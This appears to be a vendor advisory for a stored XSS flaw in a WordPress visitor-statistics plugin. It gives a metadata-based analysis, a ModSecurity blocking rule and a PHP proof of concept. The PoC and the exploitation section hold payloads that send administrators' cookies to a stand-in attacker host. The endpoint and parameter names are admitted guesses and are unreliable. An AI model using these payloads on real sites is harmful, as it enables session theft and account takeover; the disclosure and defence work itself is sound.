Opens in a new tab
Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : November 15, 2026

CVE-2026-66429: Visitor Traffic Real Time Statistics pro <= 11.10 Unauthenticated Stored Cross-Site Scripting PoC, Patch Analysis & Rule

Severity High (CVSS 7.2)
CWE 79
Vulnerable Version 11.10
Patched Version —
Disclosed August 6, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-66429 (metadata-based):
CVE-2026-66429 is an unauthenticated stored cross-site scripting (XSS) vulnerability in the Visitor Traffic Real Time Statistics pro WordPress plugin, affecting versions up to and including 11.10. The vulnerability resides in the plugin’s handling of visitor data, where insufficient input sanitization and output escaping permit attackers to inject arbitrary web scripts. With a CVSS score of 7.2 (High), the flaw is remotely exploitable without authentication or user interaction, and it can impact resources beyond the vulnerable component (Scope: Changed).

Root Cause:
Atomic Edge analysis infers that the root cause is improper neutralization of user-supplied input during web page generation (CWE-79). The plugin likely records visitor information such as IP address, user agent, referrer, or request URI into its database without adequate sanitization, and later outputs this data into administrative pages or front-end statistics displays without proper escaping. Since no source code diff is available, the exact vulnerable parameter and code path remain unconfirmed. The classification and description strongly suggest the absence of `sanitize_text_field()` or `esc_html()`/`esc_attr()` in the data handling flow.

Exploitation:
An unauthenticated attacker can inject a malicious script by sending a crafted HTTP request to the WordPress site. The likely attack vector is the plugin’s public-facing data collection endpoint, which may be an AJAX action (e.g., `action=visitors_traffic_real_time_statistics_pro_record`), a REST API route (e.g., `/wp-json/visitors-traffic-real-time-statistics-pro/v1/record`), or a direct PHP file within the plugin directory. The payload would be placed in a parameter such as `user_agent`, `referer`, `page_url`, or a custom tracking field. For example, setting the User-Agent header to `fetch(‘https://attacker.com/steal?c=’+document.cookie)` could store the script in the database. When an administrator later views the plugin’s statistics dashboard, the script executes in their browser, enabling session hijacking or other malicious actions.

Remediation:
The patch in version 11.11 likely adds proper input sanitization and output escaping. Atomic Edge research infers that the fix would involve using WordPress functions like `sanitize_text_field()`, `esc_url()`, or `wp_kses()` on any data before storing it, and applying `esc_html()`, `esc_attr()`, or `esc_js()` when rendering the data in HTML contexts. The exact changes are unconfirmed without a code diff.

Impact:
Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of a victim’s browser. This can lead to theft of session cookies, authentication tokens, or other sensitive information, enabling account takeover. An attacker could also perform actions on behalf of the victim, such as creating new administrative users, modifying content, or installing malicious plugins. The unauthenticated nature of the vulnerability and its potential to affect privileged users make it a significant threat.

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-66429 (metadata-based)
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:202666429,phase:2,deny,status:403,chain,msg:'CVE-2026-66429 via Visitor Traffic Real Time Statistics pro AJAX action',severity:'CRITICAL',tag:'CVE-2026-66429'"
  SecRule ARGS_POST:action "@streq visitors_traffic_real_time_statistics_pro_record" "chain"
    SecRule ARGS_POST:user_agent "@rx <script|javascript:|onerrors*=|onloads*=" "t:urlDecodeUni,t:htmlEntityDecode,t:lowercase"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-66429 - Visitor Traffic Real Time Statistics pro <= 11.10 - Unauthenticated Stored Cross-Site Scripting

// This PoC assumes the plugin records visitor data via an AJAX action.
// The exact endpoint and parameter are inferred from the plugin slug and vulnerability type.
// Adjust $target_url and $ajax_action as needed.

$target_url = 'http://example.com'; // Change to the target WordPress site
$ajax_action = 'visitors_traffic_real_time_statistics_pro_record'; // Inferred action name

// Malicious payload: steals admin cookies and sends to attacker-controlled server
$payload = "<script>new Image().src='https://attacker.com/steal?c='+encodeURIComponent(document.cookie);</script>";

// Build the POST data
$post_data = array(
    'action' => $ajax_action,
    'user_agent' => $payload, // Parameter likely used to store visitor user agent
    // Additional parameters might be required, such as a nonce, but the vulnerability is unauthenticated
);

// Initialize cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, false);

// Execute the request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

echo "Sent payload with HTTP code: $http_coden";
echo "Response: $responsen";

// Note: The payload is now stored in the database and will execute when an admin views the statistics page.
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.